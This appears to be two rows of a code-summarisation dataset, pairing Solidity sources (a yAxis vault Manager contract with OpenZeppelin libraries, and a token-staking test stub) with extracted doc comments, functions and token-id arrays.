vault => controller mapping(address => address) public override controllers; // vault => token mapping(address => address) internal tokens; event AllowedController( address indexed _controller, bool _allowed ); event AllowedConverter( address indexed _converter, bool _allowed ); event AllowedStrategy( address indexed _strategy, bool _allowed ); event AllowedVault( address indexed _vault, bool _allowed ); event Halted(); event SetController( address indexed _vault, address indexed _controller ); event SetGovernance( address indexed _governance ); event SetPendingStrategist( address indexed _strategist ); event SetStrategist( address indexed _strategist ); event VaultAdded( address indexed _vault, address indexed _token ); event VaultRemoved( address indexed _vault ); /** * @param _yaxis The address of the YAX token */ constructor( address _yaxis ) public { require(_yaxis != address(0), "!_yaxis"); yaxis = _yaxis; governance = msg.sender; strategist = msg.sender; harvester = msg.sender; treasury = msg.sender; stakingPoolShareFee = 2000; treasuryFee = 500; withdrawalProtectionFee = 10; } /** * GOVERNANCE-ONLY FUNCTIONS */ /** * @notice Sets the permission for the given controller * @param _controller The address of the controller * @param _allowed The status of if it is allowed */ function setAllowedController( address _controller, bool _allowed ) external notHalted onlyGovernance { require(address(IController(_controller).manager()) == address(this), "!manager"); allowedControllers[_controller] = _allowed; emit AllowedController(_controller, _allowed); } /** * @notice Sets the permission for the given converter * @param _converter The address of the converter * @param _allowed The status of if it is allowed */ function setAllowedConverter( address _converter, bool _allowed ) external notHalted onlyGovernance { require(address(IConverter(_converter).manager()) == address(this), "!manager"); allowedConverters[_converter] = _allowed; emit AllowedConverter(_converter, _allowed); } /** * @notice Sets the permission for the given strategy * @param _strategy The address of the strategy * @param _allowed The status of if it is allowed */ function setAllowedStrategy( address _strategy, bool _allowed ) external notHalted onlyGovernance { require(address(IStrategy(_strategy).manager()) == address(this), "!manager"); allowedStrategies[_strategy] = _allowed; emit AllowedStrategy(_strategy, _allowed); } /** * @notice Sets the permission for the given vault * @param _vault The address of the vault * @param _allowed The status of if it is allowed */ function setAllowedVault( address _vault, bool _allowed ) external notHalted onlyGovernance { require(address(IVault(_vault).manager()) == address(this), "!manager"); allowedVaults[_vault] = _allowed; emit AllowedVault(_vault, _allowed); } /** * @notice Sets the governance address * @param _governance The address of the governance */ function setGovernance( address _governance ) external notHalted onlyGovernance { governance = _governance; emit SetGovernance(_governance); } /** * @notice Sets the harvester address * @param _harvester The address of the harvester */ function setHarvester( address _harvester ) external notHalted onlyGovernance { require(address(IHarvester(_harvester).manager()) == address(this), "!manager"); harvester = _harvester; } /** * @notice Sets the insurance fee * @dev Throws if setting fee over 1% * @param _insuranceFee The value for the insurance fee */ function setInsuranceFee( uint256 _insuranceFee ) external notHalted onlyGovernance { require(_insuranceFee <= 100, "_insuranceFee over 1%"); insuranceFee = _insuranceFee; } /** * @notice Sets the insurance pool address * @param _insurancePool The address of the insurance pool */ function setInsurancePool( address _insurancePool ) external notHalted onlyGovernance { insurancePool = _insurancePool; } /** * @notice Sets the insurance pool fee * @dev Throws if setting fee over 20% * @param _insurancePoolFee The value for the insurance pool fee */ function setInsurancePoolFee( uint256 _insurancePoolFee ) external notHalted onlyGovernance { require(_insurancePoolFee <= 2000, "_insurancePoolFee over 20%"); insurancePoolFee = _insurancePoolFee; } /** * @notice Sets the staking pool address * @param _stakingPool The address of the staking pool */ function setStakingPool( address _stakingPool ) external notHalted onlyGovernance { stakingPool = _stakingPool; } /** * @notice Sets the staking pool share fee * @dev Throws if setting fee over 50% * @param _stakingPoolShareFee The value for the staking pool fee */ function setStakingPoolShareFee( uint256 _stakingPoolShareFee ) external notHalted onlyGovernance { require(_stakingPoolShareFee <= 5000, "_stakingPoolShareFee over 50%"); stakingPoolShareFee = _stakingPoolShareFee; } /** * @notice Sets the pending strategist and the timestamp * @param _strategist The address of the strategist */ function setStrategist( address _strategist ) external notHalted onlyGovernance { require(_strategist != address(0), "!_strategist"); pendingStrategist = _strategist; // solhint-disable-next-line not-rely-on-time setPendingStrategistTime = block.timestamp; emit SetPendingStrategist(_strategist); } /** * @notice Sets the treasury address * @param _treasury The address of the treasury */ function setTreasury( address _treasury ) external notHalted onlyGovernance { require(_treasury != address(0), "!_treasury"); treasury = _treasury; } /** * @notice Sets the treasury fee * @dev Throws if setting fee over 20% * @param _treasuryFee The value for the treasury fee */ function setTreasuryFee( uint256 _treasuryFee ) external notHalted onlyGovernance { require(_treasuryFee <= 2000, "_treasuryFee over 20%"); treasuryFee = _treasuryFee; } /** * @notice Sets the withdrawal protection fee * @dev Throws if setting fee over 1% * @param _withdrawalProtectionFee The value for the withdrawal protection fee */ function setWithdrawalProtectionFee( uint256 _withdrawalProtectionFee ) external notHalted onlyGovernance { require(_withdrawalProtectionFee <= 100, "_withdrawalProtectionFee over 1%"); withdrawalProtectionFee = _withdrawalProtectionFee; } /** * STRATEGIST-ONLY FUNCTIONS */ /** * @notice Updates the strategist to the pending strategist * @dev This can only be called after the pending strategist timelock (7 days) */ function acceptStrategist() external notHalted { require(msg.sender == pendingStrategist, "!pendingStrategist"); // solhint-disable-next-line not-rely-on-time require(block.timestamp > setPendingStrategistTime.add(PENDING_STRATEGIST_TIMELOCK), "PENDING_STRATEGIST_TIMELOCK"); delete pendingStrategist; delete setPendingStrategistTime; strategist = msg.sender; emit SetStrategist(msg.sender); } /** * @notice Adds a token to be able to be deposited for a given vault * @param _vault The address of the vault */ function addVault( address _vault ) external override notHalted onlyStrategist { require(allowedVaults[_vault], "!allowedVaults"); require(tokens[_vault] == address(0), "!_vault"); address _token = IVault(_vault).getToken(); tokens[_vault] = _token; emit VaultAdded(_vault, _token); } /** * @notice Allows the strategist to pull tokens out of this contract * @dev This contract should never hold tokens * @param _token The address of the token * @param _amount The amount to withdraw * @param _to The address to send to */ function recoverToken( IERC20 _token, uint256 _amount, address _to ) external notHalted onlyStrategist { _token.safeTransfer(_to, _amount); } /** * @notice Removes a token from being able to be deposited for a given vault * @param _vault The address of the vault */ function removeVault( address _vault ) external override notHalted onlyStrategist { require(tokens[_vault] != address(0), "!_vault"); delete tokens[_vault]; delete allowedVaults[_vault]; emit VaultRemoved(_vault); } /** * @notice Sets the vault address for a controller * @param _vault The address of the vault * @param _controller The address of the controller */ function setController( address _vault, address _controller ) external notHalted onlyStrategist { require(allowedVaults[_vault], "!_vault"); require(allowedControllers[_controller], "!_controller"); controllers[_vault] = _controller; emit SetController(_vault, _controller); } /** * @notice Sets the protocol as halted, disallowing all deposits forever * @dev Withdraws will still work, allowing users to exit the protocol */ function setHalted() external notHalted onlyStrategist { halted = true; emit Halted(); } /** * EXTERNAL VIEW FUNCTIONS */ /** * @notice Returns an array of token addresses for a given vault * @param _vault The address of the vault */ function getToken( address _vault ) external view override returns (address) { return tokens[_vault]; } /** * @notice Returns a tuple of: * YAXIS token address, * Treasury address, * Treasury fee */ function getHarvestFeeInfo() external view override returns ( address, address, uint256 ) { return ( yaxis, treasury, treasuryFee ); } modifier notHalted() { require(!halted, "halted"); _; } modifier onlyGovernance() { require(msg.sender == governance, "!governance"); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IManager.sol"; interface IController { function balanceOf() external view returns (uint256); function converter(address _vault) external view returns (address); function earn(address _strategy, address _token, uint256 _amount) external; function investEnabled() external view returns (bool); function harvestStrategy(address _strategy, uint256[] calldata _estimates) external; function manager() external view returns (IManager); function strategies() external view returns (uint256); function withdraw(address _token, uint256 _amount) external; function withdrawAll(address _strategy, address _convert) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IManager.sol"; interface IConverter { function manager() external view returns (IManager); function convert( address _input, address _output, uint256 _inputAmount, uint256 _estimatedOutput ) external returns (uint256 _outputAmount); function expected( address _input, address _output, uint256 _inputAmount ) external view returns (uint256 _outputAmount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IManager.sol"; interface IHarvester { function addStrategy(address, address, uint256) external; function manager() external view returns (IManager); function removeStrategy(address, address, uint256) external; function slippage() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IManager { function addVault(address) external; function allowedControllers(address) external view returns (bool); function allowedConverters(address) external view returns (bool); function allowedStrategies(address) external view returns (bool); function allowedVaults(address) external view returns (bool); function controllers(address) external view returns (address); function getHarvestFeeInfo() external view returns (address, address, uint256); function getToken(address) external view returns (address); function governance() external view returns (address); function halted() external view returns (bool); function harvester() external view returns (address); function insuranceFee() external view returns (uint256); function insurancePool() external view returns (address); function insurancePoolFee() external view returns (uint256); function pendingStrategist() external view returns (address); function removeVault(address) external; function stakingPool() external view returns (address); function stakingPoolShareFee() external view returns (uint256); function strategist() external view returns (address); function treasury() external view returns (address); function treasuryFee() external view returns (uint256); function withdrawalProtectionFee() external view returns (uint256); function yaxis() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IManager.sol"; import "./ISwap.sol"; interface IStrategy { function balanceOf() external view returns (uint256); function balanceOfPool() external view returns (uint256); function balanceOfWant() external view returns (uint256); function deposit() external; function harvest(uint256[] calldata) external; function manager() external view returns (IManager); function name() external view returns (string memory); function router() external view returns (ISwap); function skim() external; function want() external view returns (address); function weth() external view returns (address); function withdraw(address) external; function withdraw(uint256) external; function withdrawAll() external; } interface IStrategyExtended { function getEstimates() external view returns (uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IManager.sol"; interface IVault { function available() external view returns (uint256); function balance() external view returns (uint256); function deposit(uint256 _amount) external returns (uint256); function earn(address _strategy) external; function gauge() external returns (address); function getLPToken() external view returns (address); function getPricePerFullShare() external view returns (uint256); function getToken() external view returns (address); function manager() external view returns (IManager); function withdraw(uint256 _amount) external; function withdrawAll() external; function withdrawFee(uint256 _amount) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; interface ISwap { function swapExactTokensForTokens(uint256, uint256, address[] calldata, address, uint256) external; function getAmountsOut(uint256, address[] calldata) external view returns (uint256[] memory); }
* @notice Updates the strategist to the pending strategist @dev This can only be called after the pending strategist timelock (7 days)/ solhint-disable-next-line not-rely-on-time
function acceptStrategist() external notHalted { require(msg.sender == pendingStrategist, "!pendingStrategist"); require(block.timestamp > setPendingStrategistTime.add(PENDING_STRATEGIST_TIMELOCK), "PENDING_STRATEGIST_TIMELOCK"); delete pendingStrategist; delete setPendingStrategistTime; strategist = msg.sender; emit SetStrategist(msg.sender); }
93,243
[ 1, 5121, 326, 609, 1287, 376, 358, 326, 4634, 609, 1287, 376, 225, 1220, 848, 1338, 506, 2566, 1839, 326, 4634, 609, 1287, 376, 1658, 292, 975, 261, 27, 4681, 13176, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 486, 17, 266, 715, 17, 265, 17, 957, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2791, 1585, 1287, 376, 1435, 203, 3639, 3903, 203, 3639, 486, 44, 287, 2344, 203, 565, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 4634, 1585, 1287, 376, 16, 17528, 9561, 1585, 1287, 376, 8863, 203, 3639, 2583, 12, 2629, 18, 5508, 405, 444, 8579, 1585, 1287, 376, 950, 18, 1289, 12, 25691, 67, 3902, 1777, 43, 5511, 67, 4684, 6589, 3631, 315, 25691, 67, 3902, 1777, 43, 5511, 67, 4684, 6589, 8863, 203, 3639, 1430, 4634, 1585, 1287, 376, 31, 203, 3639, 1430, 444, 8579, 1585, 1287, 376, 950, 31, 203, 3639, 609, 1287, 376, 273, 1234, 18, 15330, 31, 203, 3639, 3626, 1000, 1585, 1287, 376, 12, 3576, 18, 15330, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.17; import "@keep-network/sortition-pools/contracts/api/IStaking.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /// @title Token Staking Stub /// @dev This contract is for testing purposes only. contract TokenStakingStub is IStaking { using SafeMath for uint256; uint256 public minimumStake = 200000 * 1e18; mapping(address => address payable) operatorToBeneficiary; mapping(address => uint256) stakes; mapping(address => int256) public operatorLocks; // Authorized operator contracts. mapping(address => mapping(address => bool)) internal authorizations; // Map of operator -> owner. mapping(address => address) owners; address public delegatedAuthority; bool slashingShouldFail; function setSlashingShouldFail(bool _shouldFail) public { slashingShouldFail = _shouldFail; } /// @dev Sets balance variable value. function setBalance(address _operator, uint256 _balance) public { stakes[_operator] = _balance; } /// @dev Returns balance variable value. function eligibleStake(address _operator, address) public view returns (uint256) { return stakes[_operator]; } function setBeneficiary(address _operator, address payable _beneficiary) public { operatorToBeneficiary[_operator] = _beneficiary; } function beneficiaryOf(address _operator) public view returns (address payable) { address payable beneficiary = operatorToBeneficiary[_operator]; if (beneficiary == address(0)) { return address(uint160(_operator)); } return beneficiary; } function slash(uint256 _amount, address[] memory _misbehavedOperators) public { if (slashingShouldFail) { // THIS SHOULD NEVER HAPPEN WITH REAL TOKEN STAKING revert("slashing failed"); } for (uint256 i = 0; i < _misbehavedOperators.length; i++) { address operator = _misbehavedOperators[i]; stakes[operator] = stakes[operator].sub(_amount); } } function lockStake(address operator, uint256 duration) public { operatorLocks[operator] = int256(duration); } function unlockStake(address operator) public { // We set it to negative value to be sure in tests that the function is // actually called and not just default `0` value is returned. operatorLocks[operator] = -1; } function authorizeOperatorContract( address _operator, address _operatorContract ) public { authorizations[_operatorContract][_operator] = true; } function isAuthorizedForOperator( address _operator, address _operatorContract ) public view returns (bool) { return authorizations[_operatorContract][_operator]; } function authorizerOf(address _operator) public view returns (address) { return _operator; } function setOwner(address _operator, address _owner) public { owners[_operator] = _owner; } function ownerOf(address _operator) public view returns (address) { return owners[_operator]; } function claimDelegatedAuthority(address delegatedAuthoritySource) public { delegatedAuthority = delegatedAuthoritySource; } }
@dev Returns balance variable value.
function eligibleStake(address _operator, address) public view returns (uint256) { return stakes[_operator]; }
1,053,918
[ 1, 1356, 11013, 2190, 460, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
